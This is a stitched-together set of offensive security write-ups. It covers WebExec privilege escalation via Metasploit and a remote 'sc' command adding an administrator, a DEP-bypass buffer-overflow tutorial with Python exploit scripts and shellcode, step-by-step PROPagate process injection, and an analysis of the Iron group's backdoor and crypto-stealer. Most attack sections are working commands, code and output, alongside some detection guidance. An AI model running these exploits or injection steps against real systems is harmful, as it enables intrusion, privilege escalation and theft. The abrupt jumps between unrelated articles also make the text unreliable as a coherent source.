msf exploit(multi/handler) > use exploit/windows/local/webexec
msf exploit(windows/local/webexec) > set SESSION 2

msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/local/webexec) > set LHOST
msf exploit(windows/local/webexec) > set LPORT 9001
msf exploit(windows/local/webexec) > run

[*] Started reverse TCP handler on
[*] Checking service exists...
[*] Writing 73802 bytes to %SystemRoot%\Temp\yqaKLvdn.exe...
[*] Launching service...
[*] Sending stage (179779 bytes) to
[*] Meterpreter session 2 opened ( -> at 2018-08-31 14:45:25 -0700
[*] Service started...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Remote exploit

We actually spent over a week knowing about this vulnerability without realizing that it could be used remotely! The simplest exploit can still be done with the Windows sc command. Either create a session to the remote machine or create a local user with the same credentials, then run cmd.exe in the context of that user (runas /user:newuser cmd.exe). Once that’s done, you can use the exact same command against the remote host:

c:\>sc \\ start webexservice a software-update 1 net localgroup administrators testuser /add

The command will run (and a GUI will even pop up!) on the other machine.

Remote exploitation with Metasploit

To simplify this attack, I wrote a pair of Metasploit modules. One is an auxiliary module that implements this attack to run an arbitrary command remotely, and the other is a full exploit module. Both require a valid SMB account (local or domain), and both mostly depend on the WebExec library that I wrote.

Here is an example of using the auxiliary module to run calc on a bunch of vulnerable machines:

msf5 > use auxiliary/admin/smb/webexec_command
msf5 auxiliary(admin/smb/webexec_command) > set RHOSTS
msf5 auxiliary(admin/smb/webexec_command) > set SMBUser testuser
SMBUser => testuser
msf5 auxiliary(admin/smb/webexec_command) > set SMBPass testuser
SMBPass => testuser
msf5 auxiliary(admin/smb/webexec_command) > set COMMAND calc
COMMAND => calc
msf5 auxiliary(admin/smb/webexec_command) > exploit

[-]    - No service handle retrieved
[+]    - Command completed!
[-]    - No service handle retrieved
[+]    - Command completed!
[+]    - Command completed!
[+]    - Command completed!
[*] - Scanned 11 of 11 hosts (100% complete)
[*] Auxiliary module execution completed

And here’s the full exploit module:

msf5 > use exploit/windows/smb/webexec
msf5 exploit(windows/smb/webexec) > set SMBUser testuser
SMBUser => testuser
msf5 exploit(windows/smb/webexec) > set SMBPass testuser
SMBPass => testuser
msf5 exploit(windows/smb/webexec) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/webexec) > set RHOSTS
msf5 exploit(windows/smb/webexec) > exploit

[*] - Connecting to the server...
[*] - Authenticating to as user 'testuser'...
[*] - Command Stager progress -   0.96% done (999/104435 bytes)
[*] - Command Stager progress -   1.91% done (1998/104435 bytes)
[*] - Command Stager progress -  98.52% done (102891/104435 bytes)
[*] - Command Stager progress -  99.47% done (103880/104435 bytes)
[*] - Command Stager progress - 100.00% done (104435/104435 bytes)
[*] Started bind TCP handler against
[*] Sending stage (179779 bytes) to

The actual implementation is mostly straight forward if you look at the code linked above, but I wanted to specifically talk about the exploit module, since it had an interesting problem: how do you initially get a meterpreter .exe uploaded to execute it?

I started by using a psexec-like exploit where we upload the .exe file to a writable share, then execute it via WebExec. That proved problematic, because uploading to a share frequently requires administrator privileges, and at that point you could simply use psexecinstead. You lose the magic of WebExec!

After some discussion with Egyp7, I realized I could use the Msf::Exploit::CmdStager mixin to stage the command to an .exe file to the filesystem. Using the .vbs flavor of staging, it would write a Base64-encoded file to the disk, then a .vbs stub to decode and execute it!

There are several problems, however:

  • The max line length is ~1200 characters, whereas the CmdStager mixin uses ~2000 characters per line
  • CmdStager uses %TEMP% as a temporary directory, but our exploit doesn’t expand paths
  • WebExecService seems to escape quotation marks with a backslash, and I’m not sure how to turn that off

The first two issues could be simply worked around by adding options (once I’d figured out the options to use):

wexec(true) do |opts|
  opts[:flavor] = :vbs
  opts[:linemax] = datastore["MAX_LINE_LENGTH"]
  opts[:temp] = datastore["TMPDIR"]
  opts[:delay] = 0.05

execute_cmdstager() will execute execute_command() over and over to build the payload on-disk, which is where we fix the final issue:

# This is the callback for cmdstager, which breaks the full command into
# chunks and sends it our way. We have to do a bit of finangling to make it
# work correctly
def execute_command(command, opts)
  # Replace the empty string, "", with a workaround - the first 0 characters of "A"
  command = command.gsub('""', 'mid(Chr(65), 1, 0)')

  # Replace quoted strings with Chr(XX) versions, in a naive way
  command = command.gsub(/"[^"]*"/) do |capture|
    capture.gsub(/"/, "") do |c|

  # Prepend "cmd /c" so we can use a redirect
  command = "cmd /c " + command

  execute_single_command(command, opts)

First, it replaces the empty string with mid(Chr(65), 1, 0), which works out to characters 1 — 1 of the string «A». Or the empty string!

Second, it replaces every other string with Chr(n)+Chr(n)+.... We couldn’t use &, because that’s already used by the shell to chain commands. I later learned that we can escape it and use ^&, which works just fine, but + is shorter so I stuck with that.

And finally, we prepend cmd /c to the command, which lets us echo to a file instead of just passing the > symbol to the process. We could probably use ^> instead.

In a targeted attack, it’s obviously possible to do this much more cleanly, but this seems to be a great way to do it generically!

Checking for the patch

This is one of those rare (or maybe not so rare?) instances where exploiting the vulnerability is actually easier than checking for it!

The patched version of WebEx still allows remote users to connect to the process and start it. However, if the process detects that it’s being asked to run an executable that is not signed by WebEx, the execution will halt. Unfortunately, that gives us no information about whether a host is vulnerable!

There are a lot of targeted ways we could validate whether code was run. We could use a DNS request, telnet back to a specific port, drop a file in the webroot, etc. The problem is that unless we have a generic way to check, it’s no good as a script!

In order to exploit this, you have to be able to get a handle to the service-controlservice (svcctl), so to write a checker, I decided to install a fake service, try to start it, then delete the service. If starting the service returns either OK or ACCESS_DENIED, we know it worked!

Here’s the important code from the Nmap checker module we developed:

-- Create a test service that we can query
local webexec_command = "sc create " .. test_service .. " binpath= c:\\fakepath.exe"
status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stdnse.strsplit(" ", "install software-update 1 " .. webexec_command))

-- ...

local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)

-- If the service DOES_NOT_EXIST, we couldn't run code
if string.match(test_result, 'DOES_NOT_EXIST') then
  stdnse.debug("Result: Test service does not exist: probably not vulnerable")
  msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])

  vuln.check_results = "Could not execute code via WebExService"
  return report:make_output(vuln)

Not shown: we also delete the service once we’re finished.


So there you have it! Escalating privileges from zero to SYSTEM using WebEx’s built-in update service! Local and remote! Check out for tools and usage instructions!

Bypass Data Execution Protection (DEP)

Hey folks! this topic details how to overflow a buffer, bypass DEP (Data Execution Prevention) and take control of the executable

Recommended Prerequisites

  • C/C++ language, a basic level would be fine
  • x86 Intel Assembly
  • Familiarity with Buffer Overflow
  • Debuggers/Disassembly

The binary

File 40
Virustotal 22

Okay, first thing we need to do is see what the executable brings us, so we run it.


Here we see that it is asking for a file file.dat but as it does not exist it tells us that it cannot be opened, Once created we see that it shows us a message with 3 values at 0 that seem to correspond to 3 variables (cookie, cookie2 and size) and nothing else.

Since we don’t know what it does, let’s take a look at it.

This function has 5 variables, 4 of which are initialized at 0 and one at 32h (“2”), there is a pointer to LoadLibrary that is stored in 0x10103024 then makes a fopen to “fichero.dat” file in binary read mode, stores the FILE pointer in 0x10103020 and finally checks if it exists, if it does not exist it will go to 0x101010d3 and closes (as we saw before) and if it exists it goes to 0x101010e9, let’s look there


Ok, in this procedure it first reads 4 bytes of fichero.dat with fread and stores them in a pointer to a block of memory look 10 (ebp-c), fread returns the total number of elements read and stores it in ebp-8, it does fread of 4 bytes again for the file and stores them in a pointer to ebp-10 then it does it one more time of 1 byte and stores it in a pointer to ebp-1, finally it compares this byte with [ebp-14] which is 32h (“2”) and if it is less than or equal (jle) it goes to 0x10101155 if it doesn’t, show a message saying “Nos fuimos al carajo” (We’re going to fuck off) and it closes.

Then we write in the file 8 bytes + the correct byte (“2”) and we enter 0x10101155, for example:

1234 + 5678 + 2


Well, here it pushes the saved bytes with fread and prints them, allocates 50 bytes (32h) of memory with malloc, stores the pointer to the allocated memory in ebp-1c then push the first 8 bytes of “fichero.dat” to 0x10101010, let’s look over there


Okay, what it does here is it takes the first 4 bytes of fichero.dat and adds them to the following 4 bytes then the result is compared to 58552433h, if the condition is correct, loads “pepe.dll”, then let’s make sure the condition is met (as it is little endian we have to put the bytes at backwards)

As not all characters meet the condition as “0” (30h) +»(» (28h) = 58h (1 byte correct) we do a script that does it and ready

data = "\x21\x1210" + "\x12\x12$(" + "2"
with open("fichero.dat", "w") as file:

Okay, this must meet the condition, let’s see.


Well, let’s see what’s it now.


Once we leave 0x10101010 we see that it reads [ebp-1] bytes of fichero.dat with fread and stores it in a buffer pointing to (ebp-54), Okay, here’s a buffer overflow, let’s analyze it.

First we saw that the ninth byte of “fichero.dat” was stored in [ebp-1], then compared to [ebp-14] (“2”)


Well, now we see that that byte ([ebp-1]) is used as size of fread that will store that number of bytes (size) in a buffer (ebp-54) of 52 bytes, as the nearest variable is ebp-20, [ebp-54] — [ebp-20] = [ebp-34], so 34h (52d), we can also see it in the IDA stack, right click -> array -> ok



Okay, knowing all that, how could we overflow the buffer?

[ebp-1] is the ninth byte of fichero.dat, the size of fread for store in the buffer [ebp-54] and must also be less than or equal to 32h (“2”).

So we know that negative numbers in hexadecimal are higher in decimal, so if we put a negative number in hexadecimal it would allow us to enter more bytes than allowed (52d) and this is because it is signed (jle)

0x10101139 movsx ecx,  byte ptr ss:[ebp-1]
0x1010113d cmp ecx,    dword ptr ss:[ebp-14]
0x10101140 jle         stack9b.10101155

Let’s try to get to the edge of the buffer and at the same time overflowing 2 bytes of the fread stipulation (50 bytes, 32h).

data = "\x21\x1210" + "\x12\x12$(" + "\xff" + "A" * 52

with open("fichero.dat", "w") as file:


Cool!!! Let’s see what else there is to see if we can control the retn.

Well, now there is a procedure where it copy the buffer bytes [ebp-54] for the block in memory allocated by malloc [ebp-1c]

So, if I fill out [ebp-1c] with “\x41x41x41\x41” he won’t be able to write because it’s not a valid address, let’s find one that is.


All right, let’s check the stack, see how many bytes it takes to get to the start of retn and control it.


Okay, let’s set up our exploit

import subprocess

shellcode ="\xB8\x40\x50\x03\x78\xC7\x40\x04"+ "calc" + "\x83\xC0\x04\x50\x68\x24\x98\x01\x78\x59\xFF\xD1"

buff = "\x41" * 52
ebp_20 = "\x41" * 4
ebp_1c = "\x30\x30\x10\x10"    # Address with write permission
ebp_18 = "\x41" * 4
ebp_14 = "\x41" * 4
ebp_10 = "\x41" * 4
ebp_c = "\x41" * 4
ebp_8 = "\x41" * 4
ebp_4 = "\x41" * 4
s = "\x41" * 4    # ebp
r = shellcode

data = "\x21\x1210" + "\x12\x12$(" + "\xff" + buff + ebp_20 + ebp_1c + ebp_18 + ebp_14 + ebp_10 + ebp_c + ebp_8 + ebp_4 + s + r

with open("fichero.dat", "w") as file:

Well, we already have EIP under control but now it doesn’t allow me to execute my shellcode, this is due to DEP (data execution prevention).

Summarizing up, DEP changes the permissions of the segments where data is stored to prevent us from executing code there -ricnar

So to bypass the DEP we can do ROP (return oriented programming) which is basically using gadgets that are program’s executable code to change the stack permissions with some api like VirtualProtect or VirtualAlloc

Looking for gadgets in pepe.dll I couldn’t find VirtualAlloc, but there is a pointer to system() , would only be missing a return that can be exit() and a fixed place that we can control to pass it a string to system()


Now only the string for system() would be missing, we can use the address with write permission


Here I set up the stack because malloc only assigned 50 bytes and then had no control over the eip and that’s how the exploit would look.

import subprocess

system = "\x24\x98\x01\x78"    # system()
calc = "calc.exe"

buff = "\x41" * 42
#ebp_20 = "\x41" * 4
ebp_1c = "\x30\x30\x10\x10"    # Address with write permission
ebp_18 = "\x41" * 4
ebp_14 = "\x41" * 4
ebp_10 = "\x41" * 4
ebp_c = "\x41" * 4
ebp_8 = "\x41" * 4
ebp_4 = "\x41" * 4
s = "\x41" * 4    # ebp
r = system
exit = "\x78\x1d\x10\x10"    # exit()
ptr_calc = "\x5a\x30\x10\x10"

data = "\x21\x1210" + "\x12\x12$(" + "\xff" + buff + calc + "\x41" * 6 +  ebp_1c + ebp_18 + ebp_14 + ebp_10 + ebp_c + ebp_8 + ebp_4 + s + r + exit + ptr_calc

with open("fichero.dat", "w") as file:

New code injection trick named — PROPagate code injection technique

ROPagate code injection technique

@Hexacorn discussed in late 2017 a new code injection technique, which involves hooking existing callback functions in a Window subclass structure. Exploiting this legitimate functionality of windows for malicious purposes will not likely surprise some developers already familiar with hooking existing callback functions in a process. However, it’s still a relatively new technique for many to misuse for code injection, and we’ll likely see it used more and more in future.

For all the details on research conducted by Adam, I suggest the following posts.


PROPagate — a new code injection trick


Executing code inside a different process space is typically achieved via an injected DLL /system-wide hooks, sideloading, etc./, executing remote threads, APCs, intercepting and modifying the thread context of remote threads, etc. Then there is Gapz/Powerloader code injection (a.k.a. EWMI), AtomBombing, and mapping/unmapping trick with the NtClose patch.

There is one more.

Remember Shatter attacks?

I believe that Gapz trick was created as an attempt to bypass what has been mitigated by the User Interface Privilege Isolation (UIPI). Interestingly, there is actually more than one way to do it, and the trick that I am going to describe below is a much cleaner variant of it – it doesn’t even need any ROP.

There is a class of windows always present on the system that use window subclassing. Window subclassing is just a fancy name for hooking, because during the subclassing process an old window procedure is preserved while the new one is being assigned to the window. The new one then intercepts all the window messages, does whatever it has to do, and then calls the old one.

The ‘native’ window subclassing is done using the SetWindowSubclass API.

When a window is subclassed it gains a new property stored inside its internal structures and with a name depending on a version of comctl32.dll:

  • UxSubclassInfo – version 6.x
  • CC32SubclassInfo – version 5.x

Looking at properties of Windows Explorer child windows we can see that plenty of them use this particular subclassing property:

So do other Windows applications – pretty much any program that is leveraging standard windows controls can be of interest, including say… OllyDbg:When the SetWindowSubclass is called it is using SetProp API to set one of these two properties (UxSubclassInfo, or CC32SubclassInfo) to point to an area in memory where the old function pointer will be stored. When the new message routine is called, it will then call GetProp API for the given window and once its old procedure address is retrieved – it is executed.

Coming back for a moment to the aforementioned shattering attacks. We can’t use SetWindowLong or SetClassLong (or their newer SetWindowLongPtr and SetClassLongPtr alternatives) any longer to set the address of the window procedure for windows belonging to the other processes (via GWL_WNDPROC or GCL_WNDPROC). However, the SetProp function is not affected by this limitation. When it comes to the process at the lower of equal  integrity level the Microsoft documentation says:

SetProp is subject to the restrictions of User Interface Privilege Isolation (UIPI). A process can only call this function on a window belonging to a process of lesser or equal integrity level. When UIPI blocks property changes, GetLastError will return 5.

So, if we talk about other user applications in the same session – there is plenty of them and we can modify their windows’ properties freely!

I guess you know by now where it is heading:

  • We can freely modify the property of a window belonging to another process.
  • We also know some properties point to memory region that store an old address of a procedure of the subclassed window.
  • The routine that address points to will be at some stage executed.

All we need is a structure that UxSubclassInfo/CC32SubclassInfo properties are using. This is actually pretty easy – you can check what SetProp is doing for these subclassed windows. You will quickly realize that the old procedure is stored at the offset 0x14 from the beginning of that memory region (the structure is a bit more complex as it may contain a number of callbacks, but the first one is at 0x14).

So, injecting a small buffer into a target process, ensuring the expected structure is properly filled-in and and pointing to the payload and then changing the respective window property will ensure the payload is executed next time the message is received by the window (this can be enforced by sending a message).

When I discovered it, I wrote a quick & dirty POC that enumerates all windows with the aforementioned properties (there is lots of them so pretty much every GUI application is affected). For each subclassing property found I changed it to a random value – as a result Windows Explorer, Total Commander, Process Hacker, Ollydbg, and a few more applications crashed immediately. That was a good sign. I then created a very small shellcode that shows a Message Box on a desktop window and tested it on Windows 10 (under normal account).

The moment when the shellcode is being called in a first random target (here, Total Commander):

Of course, it also works in Windows Explorer, this is how it looks like when executed:

If we check with Process Explorer, we can see the window belongs to explorer.exe:Testing it on a good ol’ Windows XP and injecting the shellcode into Windows Explorer shows a nice cascade of executed shellcodes for each window exposing the subclassing property (in terms of special effects XP always beats Windows 10 – the latter freezes after first messagebox shows up; and in case you are wondering why it freezes – it’s because my shellcode is simple and once executed it is basically damaging the running application):

For obvious reasons I won’t be attaching the source code.

If you are an EDR or sandboxing vendor you should consider monitoring SetProp/SetWindowSubclass APIs as well as their NT alternatives and system services.


This is not the end. There are many other generic properties that can be potentially leveraged in a very same way:

  • The Microsoft Foundation Class Library (MFC) uses ‘AfxOldWndProc423’ property to subclass its windows
  • ControlOfs[HEX] – properties associated with Delphi applications reference in-memory Visual Component Library (VCL) objects
  • New windows framework e.g. Microsoft.Windows.WindowFactory.* needs more research
  • A number of custom controls use ‘subclass’ and I bet they can be modified in a similar way
  • Some properties expose COM/OLE Interfaces e.g. OleDropTargetInterface

If you are curious if it works between 32- and 64- bit processes



PROPagate follow-up — Some more Shattering Attack Potentials


We now know that one can use SetProp to execute a shellcode inside 32- and 64-bit applications as long as they use windows that are subclassed.


A new trick that allows to execute code in other processes without using remote threads, APC, etc. While describing it, I focused only on 32-bit architecture. One may wonder whether there is a way for it to work on 64-bit systems and even more interestingly – whether there is a possibility to inject/run code between 32- and 64- bit processes.

To test it, I checked my 32-bit code injector on a 64-bit box. It crashed my 64-bit Explorer.exe process in no time.

So, yes, we can change properties of windows belonging to 64-bit processes from a 32-bit process! And yes, you can swap the subclass properties I described previously to point to your injected buffer and eventually make the payload execute! The reason it works is that original property addresses are stored in lower 32-bit of the 64-bit offset. Replacing that lower 32-bit part of the offset to point to a newly allocated buffer (also in lower area of the memory, thanks to VirtualAllocEx) is enough to trigger the code execution.

See below the GetProp inside explorer.exe retrieving the subclassed property:

So, there you have it… 32 process injecting into 64-bit process and executing the payload w/o heaven’s gate or using other undocumented tricks.

The below is the moment the 64-bit shellcode is executed:

p.s. the structure of the subclassed callbacks is slightly different inside 64-bit processes due to 64-bit offsets, but again, I don’t want to make it any easier to bad guys than it should be ????


There are more possibilities.

While SetWindowLong/SetWindowLongPtr/SetClassLong/SetClassLongPtr are all protected and can be only used on windows belonging to the same process, the very old APIs SetWindowWord and SetClassWord … are not.

As usual, I tested it enumerating windows running a 32-bit application on a 64-bit system and setting properties to unpredictable values and observing what happens.

It turns out that again, pretty much all my Window applications crashed on Window 10. These 16 bits seem to be quite powerful…

I am not a vulnerability researcher, but I bet we can still do something interesting; I will continue poking around. The easy wins I see are similar to SetProp e.g. GWL_USERDATA may point to some virtual tables/pointers; the DWL_USER – as per Microsoft – ‘sets new extra information that is private to the application, such as handles or pointers’. Assuming that we may only modify 16 bit of e.g. some offset, redirecting it to some code cave or overwriting unused part of memory within close proximity of the original offset could allow for a successful exploit.



PROPagate follow-up #2 — Some more Shattering Attack Potentials


A few months back I discovered a new code injection technique that I named PROPagate. Using a subclass of a well-known shatter attack one can modify the callback function pointers inside other processes by using Windows APIs like SetProp, and potentially others. After pointing out a few ideas I put it on a back burner for a while, but I knew I will want to explore some more possibilities in the future.

In particular, I was curious what are the chances one could force the remote process to indirectly call the ‘prohibited’ functions like SetWindowLong, SetClassLong (or their newer alternatives SetWindowLongPtr and SetClassLongPtr), but with the arguments that we control (i.e. from a remote process). These API are ‘prohibited’ because they can only be called in a context of a process that owns them, so we can’t directly call them and target windows that belong to other processes.

It turns out his may be possible!

If there is one common way of using the SetWindowLong API it is to set up pointers, and/or filling-in window-specific memory areas (allocated per window instance) with some values that are initialized immediately after the window is created. The same thing happens when the window is destroyed – during the latter these memory areas are usually freed and set to zeroes, and callbacks are discarded.

These two actions are associated with two very specific window messages:


In fact, many ‘native’ windows kick off their existence by setting some callbacks in their message handling routines during processing of these two messages.

With that in mind, I started looking at existing processes and got some interesting findings. Here is a snippet of a routine I found inside Windows Explorer that could be potentially abused by a remote process:

Or, it’s disassembly equivalent (in response to WM_NCCREATE message):

So… since we can still freely send messages between windows it would seem that there is a lot of things that can be done here. One could send a specially crafted WM_NCCREATE message to a window that owns this routine and achieve a controlled code execution inside another process (the lParam needs to pass the checks and include pointer to memory area that includes a callback that will be executed afterwards – this callback could point to malicious code). I may be of course wrong, but need to explore it further when I find more time.

The other interesting thing I noticed is that some existing windows procedures are already written in a way that makes it harder to exploit this issue. They check if the window-specific data was set, and only if it was NOT they allow to call the SetWindowLong function. That is, they avoid executing the same initialization code twice.



No Proof of Concept?

Let’s be honest with ourselves, most of the “good” code injection techniques used by malware authors today are the brainchild of some expert(s) in the field of computer security. Take for example Process HollowingAtomBombing and the more recent Doppelganging technique.

On the likelihood of code being misused, Adam didn’t publish a PoC, but there’s still sufficient information available in the blog posts for a competent person to write their own proof of concept, and it’s only a matter of time before it’s used in the wild anyway.

Update: After publishing this, I discovered it’s currently being used by SmokeLoader but using a different approach to mine by using SetPropA/SetPropW to update the subclass procedure.

I’m not providing source code here either, but given the level of detail, it should be relatively easy to implement your own.

Steps to PROPagate.

  1. Enumerate all window handles and the properties associated with them using EnumProps/EnumPropsEx
  2. Use GetProp API to retrieve information about hWnd parameter passed to WinPropProc callback function. Use “UxSubclassInfo” or “CC32SubclassInfo” as the 2nd parameter.
    The first class is for systems since XP while the latter is for Windows 2000.
  3. Open the process that owns the subclass and read the structures that contain callback functions. Use GetWindowThreadProcessId to obtain process id for window handle.
  4. Write a payload into the remote process using the usual methods.
  5. Replace the subclass procedure with pointer to payload in memory.
  6. Write the structures back to remote process.

At this point, we can wait for user to trigger payload when they activate the process window, or trigger the payload via another API.

Subclass callback and structures

Microsoft was kind enough to document the subclass procedure, but unfortunately not the internal structures used to store information about a subclass, so you won’t find them on MSDN or even in sources for WINE or ReactOS.

   HWND      hWnd,
   UINT      uMsg,
   WPARAM    wParam,
   LPARAM    lParam,
   UINT_PTR  uIdSubclass,
   DWORD_PTR dwRefData);

Some clever searching by yours truly eventually led to the Windows 2000 source code, which was leaked online in 2004. Behold, the elusive undocumented structures found in subclass.c!

typedef struct _SUBCLASS_CALL {
  SUBCLASSPROC pfnSubclass;    // subclass procedure
  WPARAM       uIdSubclass;    // unique subclass identifier
  DWORD_PTR    dwRefData;      // optional ref data
typedef struct _SUBCLASS_FRAME {
  UINT    uCallIndex;   // index of next callback to call
  UINT    uDeepestCall; // deepest uCallIndex on stack
// previous subclass frame pointer
  struct _SUBCLASS_FRAME  *pFramePrev;
// header associated with this frame 
  struct _SUBCLASS_HEADER *pHeader;     
typedef struct _SUBCLASS_HEADER {
  UINT           uRefs;        // subclass count
  UINT           uAlloc;       // allocated subclass call nodes
  UINT           uCleanup;     // index of call node to clean up
  DWORD          dwThreadId; // thread id of window we are hooking
  SUBCLASS_FRAME *pFrameCur;   // current subclass frame pointer
  SUBCLASS_CALL  CallArray[1]; // base of packed call node array

At least now there’s no need to reverse engineer how Windows stores information about subclasses. Phew!

Finding suitable targets

I wrongly assumed many processes would be vulnerable to this injection method. I can confirm ollydbg and Process Hacker to be vulnerable as Adam mentions in his post, but I did not test other applications. As it happens, only explorer.exe seemed to be a viable target on a plain Windows 7 installation. Rather than search for an arbitrary process that contained a subclass callback, I decided for the purpose of demonstrations just to stick with explorer.exe.

The code first enumerates all properties for windows created by explorer.exe. An attempt is made to request information about “UxSubclassInfo”, which if successful will return an address pointer to subclass information in the remote process.

Figure 1. shows a list of subclasses associated with process id. I’m as perplexed as you might be about the fact some of these subclass addresses appear multiple times. I didn’t investigate.

Figure 1: Address of subclass information and process id for explorer.exe

Attaching a debugger to process id 5924 or explorer.exe and dumping the first address provides the SUBCLASS_HEADER contents. Figure 2 shows the data for header, with 2 hi-lighted values representing the callback functions.

Figure 2 : Dump of SUBCLASS_HEADER for address 0x003A1BE8

Disassembly of the pointer 0x7448F439 shows in Figure 3 the code is CallOriginalWndProc located in comctl32.dll

Figure 3 : Disassembly of callback function for SUBCLASS_CALL

Okay! So now we just read at least one subclass structure from a target process, change the callback address, and wait for explorer.exe to execute the payload. On the other hand, we could write our own SUBCLASS_HEADER to remote memory and update the existing subclass window with SetProp API.

To overwrite SUBCLASS_HEADER, all that’s required is to replace the pointer pfnSubclass with address of payload, and write the structure back to memory. Triggering it may be required unless someone is already using the operating system.

One would be wise to restore the original callback pointer in subclass header after payload has executed, in order to avoid explorer.exe crashing.

Update: Smoke Loader probably initializes its own SUBCLASS_HEADER before writing to remote process. I think either way is probably fine. The method I used didn’t call SetProp API.


The original author may have additional information on how to detect this injection method, however I think the following strings and API are likely sufficient to merit closer investigation of code.


  • UxSubclassInfo
  • CC32SubclassInfo
  • explorer.exe


  • OpenProcess
  • ReadProcessMemory
  • WriteProcessMemory
  • GetPropA/GetPropW
  • SetPropA/SetPropW


This injection method is trivial to implement, and because it affects many versions of Windows, I was surprised nobody published code to show how it worked. Nevertheless, it really is just a case of hooking callback functions in a remote process, and there are many more just like subclass. More to follow!

Iron Group’s Malware using HackingTeam’s Leaked RCS source code with VMProtected Installer — Technical Analysis

In April 2018, while monitoring public data feeds, we noticed an interesting and previously unknown backdoor using HackingTeam’s leaked RCS source code. We discovered that this backdoor was developed by the Iron cybercrime group, the same group behind the Iron ransomware (rip-off Maktub ransomware recently discovered by Bart Parys), which we believe has been active for the past 18 months.

During the past year and a half, the Iron group has developed multiple types of malware (backdoors, crypto-miners, and ransomware) for Windows, Linux and Android platforms. They have used their malware to successfully infect, at least, a few thousand victims.

In this technical blog post we are going to take a look at the malware samples found during the research.

Technical Analysis:


** This installer sample (and in general most of the samples found) is protected with VMProtect then compressed using UPX.

Installation process:

1. Check if the binary is executed on a VM, if so – ExitProcess

2. Drop & Install malicious chrome extension
3. Extract malicious chrome extension to %localappdata%\Temp\chrome & create a scheduled task to execute %localappdata%\Temp\chrome\sec.vbs.
4. Create mutex using the CPU’s version to make sure there’s no existing running instance of itself.
5. Drop backdoor dll to %localappdata%\Temp\\<random>.dat.
6. Check OS version:
.If Version == Windows XP then just invoke ‘Launch’ export of Iron Backdoor for a one-time non persistent execution.
.If Version > Windows XP
-Invoke ‘Launch’ export
-Check if Qhioo360 – only if not proceed, Install malicious certificate used to sign Iron Backdoor binary as root CA.Then create a service called ‘helpsvc’ pointing back to Iron Backdoor dll.

Using the leaked HackingTeam source code:

Once we Analyzed the backdoor sample, we immediately noticed it’s partially based on HackingTeam’s source code for their Remote Control System hacking tool, which leaked about 3 years ago. Further analysis showed that the Iron cybercrime group used two main functions from HackingTeam’s source in both IronStealer and Iron ransomware.

1.Anti-VM: Iron Backdoor uses a virtual machine detection code taken directly from HackingTeam’s “Soldier” implant leaked source code. This piece of code supports detecting Cuckoo Sandbox, VMWare product & Oracle’s VirtualBox. Screenshot:


2. Dynamic Function Calls: Iron Backdoor is also using the DynamicCall module from HackingTeam’s “core” library. This module is used to dynamically call external library function by obfuscated the function name, which makes static analysis of this malware more complex.
In the following screenshot you can see obfuscated “LFSOFM43/EMM” and “DsfbufGjmfNbqqjohB”, which represents “kernel32.dll” and “CreateFileMappingA” API.

For a full list of obfuscated APIs you can visit obfuscated_calls.h.

Malicious Chrome extension:

A patched version of the popular Adblock Plus chrome extension is used to inject both the in-browser crypto-mining module (based on CryptoNoter) and the in-browser payment hijacking module.

**patched include.preload.js injects two malicious scripts from the attacker’s Pastebin account.

The malicious extension is not only loaded once the user opens the browser, but also constantly runs in the background, acting as a stealth host based crypto-miner. The malware sets up a scheduled task that checks if chrome is already running, every minute, if it isn’t, it will “silent-launch” it as you can see in the following screenshot:

Internet Explorer(deprecated):

Iron Backdoor itself embeds adblockplusie – Adblock Plus for IE, which is modified in a similar way to the malicious chrome extension, injecting remote javascript. It seems that this functionality is no longer automatically used for some unknown reason.


Before installing itself as a Windows service, the malware checks for the presence of either 360 Safe Guard or 360 Internet Security by reading following registry keys:


If one of these products is installed, the malware will only run once without persistence. Otherwise, the malware will proceed to installing rouge, hardcoded root CA certificate on the victim’s workstation. This fake root CA supposedly signed the malware’s binaries, which will make them look legitimate.

Comic break: The certificate is protected by the password ‘caonima123’, which means “f*ck your mom” in Mandarin.

IronStealer (<RANDOM>.dat):

Persistent backdoor, dropper and cryptocurrency theft module.

1. Load Cobalt Strike beacon:
The malware automatically decrypts hard coded shellcode stage-1, which in turn loads Cobalt Strike beacon in-memory, using a reflective loader:

Beacon: hxxp://dazqc4f140wtl.cloudfront[.]net/ZZYO

2. Drop & Execute payload: The payload URL is fetched from a hardcoded Pastebin paste address:

We observed two different payloads dropped by the malware:

1. Xagent – A variant of “JbossMiner Mining Worm” – a worm written in Python and compiled using PyInstaller for both Windows and Linux platforms. JbossMiner is using known database vulnerabilities to spread. “Xagent” is the original filename Xagent<VER>.exe whereas <VER> seems to be the version of the worm. The last version observed was version 6 (Xagent6.exe).

**Xagent versions 4-6 as seen by VT

2. Iron ransomware – We recently saw a shift from dropping Xagent to dropping Iron ransomware. It seems that the wallet & payment portal addresses are identical to the ones that Bart observed. Requested ransom decreased from 0.2 BTC to 0.05 BTC, most likely due to the lack of payment they received.

**Nobody paid so they decreased ransom to 0.05 BTC

3. Stealing cryptocurrency from the victim’s workstation: Iron backdoor would drop the latest voidtool Everything search utility and actually silent install it on the victim’s workstation using msiexec. After installation was completed, Iron Backdoor uses Everything in order to find files that are likely to contain cryptocurrency wallets, by filename patterns in both English and Chinese.

Full list of patterns extracted from sample:
– Wallet.dat
– UTC–
– Etherenum keystore filename
– *bitcoin*.txt
– *比特币*.txt
– “Bitcoin”
– *monero*.txt
– *门罗币*.txt
– “Monroe Coin”
– *litecoin*.txt
– *莱特币*.txt
– “Litecoin”
– *Ethereum*.txt
– *以太币*.txt
– “Ethereum”
– *miner*.txt
– *挖矿*.txt
– “Mining”
– *blockchain*.txt
– *coinbase*

4. Hijack on-going payments in cryptocurrency: IronStealer constantly monitors the user’s clipboard for Bitcoin, Monero & Ethereum wallet address regex patterns. Once matched, it will automatically replace it with the attacker’s wallet address so the victim would unknowingly transfer money to the attacker’s account:

Pastebin Account:

As part of the investigation, we also tried to figure out what additional information we may learn from the attacker’s Pastebin account:

The account was probably created using the mail fineisgood123@gmail[.]com – the same email address used to register blockbitcoin[.]com (the attacker’s crypto-mining pool & malware host) and swb[.]one (Old server used to host malware & leaked files. replaced by u.cacheoffer[.]tk):

1. Index.html: HTML page referring to a fake Firefox download page.
2. crystal_ext-min + angular: JS inject using malicious Chrome extension.
